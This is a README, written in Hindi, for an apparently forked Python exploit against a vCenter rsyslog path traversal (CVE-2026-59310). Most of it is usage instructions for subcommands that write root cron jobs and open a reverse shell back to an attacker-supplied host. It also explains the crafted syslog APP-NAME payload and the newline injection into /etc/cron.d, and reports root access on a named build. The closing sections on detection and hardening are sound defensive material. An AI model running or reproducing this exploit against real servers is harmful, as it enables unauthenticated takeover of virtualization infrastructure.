
CVE-2026-59310 के लिए Python PoC: vCenter rsyslog पथ ट्रैवर्सल का शोषण करके फ़ाइलें लिखता है और cron के माध्यम से root के रूप में कमांड निष्पादित करता है, जिसमें check, exec, shell और cleanup मोड शामिल हैं।
अंग्रेज़ी | 中文
ChinaRan0/CVE-2026-59310-POC का अनुकूलित फ़ोर्क। भेद्यता विश्लेषण उस प्रोजेक्ट का अनुसरण करता है। यह ट्री अधिकृत परीक्षण के लिए क्लाइंट और दस्तावेज़ों को पुनः तैयार करता है: सबकमांड, एक वन-शॉट क्रॉन जॉब, और रिमोट PTY पर एक इंटरैक्टिव शेल।
केवल अधिकृत उपयोग। इसे केवल उन सिस्टम के विरुद्ध चलाएँ जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। स्थानीय कानून का पालन करना और लक्ष्य पर किसी भी प्रभाव के लिए आप ज़िम्मेदार हैं।
| CVE | CVE-2026-59310 |
| सलाह | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 क्रिटिकल |
| कमज़ोरी | vCenter rsyslog में पाथ ट्रैवर्सल → मनमानी फ़ाइल राइट → रूट कोड निष्पादन |
| आवश्यक विशेषाधिकार | कोई नहीं। syslog (UDP/TCP 514) तक नेटवर्क पहुँच पर्याप्त है |
| इसमें ठीक किया गया | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| अपस्ट्रीम | ChinaRan0/CVE-2026-59310-POC |
| अपस्ट्रीम | यह फ़ोर्क | |
|---|---|---|
| CLI | एक पार्सर पर -c, --lhost, और --check | check, exec, shell, cleanup सबकमांड |
| क्रॉन | हर मिनट दोहराता है | अपनी फ़ाइल हटाता है, फिर एक बार चलता है |
| कोटिंग | कमांड टेक्स्ट शेल में जोड़ा जाता है | shlex.quote, इसलिए कोट्स क्रॉन लाइन को विभाजित नहीं कर सकते |
| शेल | स्थानीय नकली प्रॉम्प्ट, एक बार में एक पंक्ति | रिमोट PTY, कीस्ट्रोक रिले, रिमोट रंग और Tab पूर्णता |
| सफ़ाई | rm संकेत प्रिंट किए | एक वन-शॉट जॉब लगाता है जो --id के लिए आर्टिफ़ैक्ट्स हटाता है |
| लिसनर | 0.0.0.0 से बंधा | --bind स्थानीय पता चुनता है |
shell के लिए लक्ष्य पर python3 आवश्यक है। vCenter Server Appliance में यह शामिल है। सत्र pty.spawn का उपयोग करता है ताकि शेल के पास एक वास्तविक टर्मिनल हो।python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec और shell एक cron फ़ाइल लिखते हैं जिसे crond लगभग 60 सेकंड बाद एक बार चलाता है। --id के बिना cleanup उन सभी आर्टिफ़ैक्ट्स को हटा देता है जो cve59310 प्रीफ़िक्स का उपयोग करते हैं।
| विकल्प | अर्थ |
|---|---|
--port | Syslog पोर्ट। डिफ़ॉल्ट 514। |
--tcp | UDP के बजाय TCP पर syslog भेजें। |
--id | आर्टिफ़ैक्ट id: 1–32 अक्षर, [a-z0-9]। छोड़े जाने पर यादृच्छिक। |
-q | बैनर को दबाएँ। |
exec| विकल्प | अर्थ |
|---|---|
-c / --cmd | चलाने के लिए कमांड। संयुक्त stdout और stderr /tmp/cve59310_<id>.txt में जाते हैं। |
--wait | आउटपुट फ़ाइल पठनीय होने तक, या टाइमआउट तक पोल करें। |
--timeout | --wait के लिए सेकंड। डिफ़ॉल्ट 180। |
--read-command | स्थानीय argv टेम्पलेट। {path} रिमोट आउटपुट पथ है। |
--wait के लिए --read-command आवश्यक है, उदाहरण के लिए ssh root@target cat {path}। टेम्पलेट को shlex से विभाजित किया जाता है और इसे स्थानीय शेल से नहीं गुज़ारा जाता। a; b जैसी कमांड को { a; b; } > file के रूप में समूहित किया जाता है, इसलिए दोनों भाग कैप्चर होते हैं।
shell| विकल्प | अर्थ |
|---|---|
--lhost / --lport | वह पता और पोर्ट जिससे लक्ष्य वापस कनेक्ट होता है। पोर्ट डिफ़ॉल्ट 4444। |
--bind | स्थानीय लिसन पता। डिफ़ॉल्ट 0.0.0.0। |
--method {bash,python} | कौन सा प्रोग्राम सॉकेट खोलता है। डिफ़ॉल्ट bash। दोनों फिर PTY आवंटित करने के लिए लक्ष्य के python3 का उपयोग करते हैं। |
--timeout | कॉलबैक की प्रतीक्षा करने के लिए सेकंड। डिफ़ॉल्ट 180। |
प्रॉम्प्ट, रंग और Tab पूर्णता लक्ष्य bash से आते हैं। Ctrl+] स्थानीय पक्ष को बंद करता है। exit रिमोट शेल से बाहर निकलता है। shell को वास्तविक टर्मिनल में चलाएँ; एक लाइन-बफ़र्ड क्लाइंट पूर्ण नहीं कर सकता।
| क्रिया | पथ |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log और /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, जॉब के चलने के बाद जॉब द्वारा ही हटा दिया जाता है |
--id रिकॉर्ड करें। cleanup <target> --id <id> उस रन को हटा देता है। --id के बिना, cleanup जॉब पूरे cve59310 प्रीफ़िक्स को हटा देता है।
| लक्ष्य | VMware vCenter Server 9.0.2.0, Build 25148086 |
| फ़िक्स्ड बिल्ड | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| प्रवेश | UDP/TCP 514, कोई प्रमाणीकरण नहीं |
उस बिल्ड पर, check /tmp के अंतर्गत एक root-स्वामित्व वाली फ़ाइल बनाता है, id के साथ exec लगभग एक मिनट बाद uid=0(root) लौटाता है, और shell लक्ष्य प्रॉम्प्ट (root [ / ]#, उसके रंगों सहित) प्रस्तुत करता है।
अपनी शाखा में फ़िक्स्ड बिल्ड से पुराना कोई भी संस्करण। स्टैंडअलोन vCenter प्रभावित है, साथ ही VMware Cloud Foundation, vSphere Foundation, और Telco Cloud में vCenter घटक भी प्रभावित हैं।
| शाखा | प्रभावित | फ़िक्स्ड |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | सभी | 8.0 U3k या बाद के संस्करण में अपग्रेड करें |
| 7.0 | मिलान वाला पैच अनुपलब्ध | Broadcom से पैच प्राप्त करें, या किसी समर्थित रिलीज़ पर जाएँ |
/sdk/vimServiceVersions.xml API नेमस्पेस की रिपोर्ट करता है (अक्सर 9.0.0.0), न कि एप्लायंस बिल्ड। बिल्ड की पुष्टि /etc/vmware-release और /etc/applmgmt/appliance/version से करें।
vCenter का rsyslog कॉन्फ़िगरेशन %app-name% को लॉग पथ में इंटरपोलेट करता है और $EscapeControlCharactersOnReceive off को बिना बदले छोड़ देता है:
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 APP-NAME को / पर काट देता है। pmrfc5424 ऐसा नहीं करता, और डिफ़ॉल्ट ruleset RFC5424 स्वीकार करता है। इसलिए rsyslog/../../../../tmp/x जैसा तैयार किया गया APP-NAME /var/log/vmware/ के बाहर root के स्वामित्व वाली *-syslog.log फ़ाइल के रूप में लिखा जाता है। संदेश body में एक newline cron पंक्ति को column 0 से शुरू होने देता है, इसलिए crond उसे root के रूप में निष्पादित करता है। फ़ाइल नाम हमेशा -syslog.log पर समाप्त होता है, इसीलिए cron फ़ाइल suffix-रहित crontab को बदलने के बजाय /etc/cron.d/ के अंतर्गत रहती है।
| Parser | rsyslog/../../../../tmp/x के लिए %app-name% का मान |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
vendor advisory /opt/vmware/share/htdocs/ के अंतर्गत लिखने और उसे https://<target>:5480/ के माध्यम से वापस पढ़ने का भी वर्णन करता है।
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
*-syslog.log फ़ाइलें लॉग निर्देशिकाओं के बाहर, और जिन निर्देशिकाओं के नाम में .. है, वे सामान्य अवशेष हैं। जब टेम्पलेट लॉग ट्री से बाहर निकलता है तो rsyslog अनुपस्थित मूल निर्देशिकाएँ बना देता है।
अपग्रेड करें। 9.0 शाखा पर न्यूनतम निश्चित बिल्ड 9.0.2.0100 (Build 25629525) है।
उस अपग्रेड तक:
pmrfc3164 पर पिन करें। डिफ़ॉल्ट रूलसेट को RFC5424 स्वीकार करने के लिए न छोड़ें।securepath="normal" और secpath-drop="replace" सेट करें। अपस्ट्रीम securepath को पथ सीमा मानता है, पार्सर के स्लैश फ़िल्टर के रूप में नहीं।$EscapeControlCharactersOnReceive चालू करें।:app-name, startswith, "rsyslog" को सटीक मिलान से बदलें, और डायनामिक-फ़ाइल राइटरों को स्रोत नेटवर्क द्वारा प्रतिबंधित करें।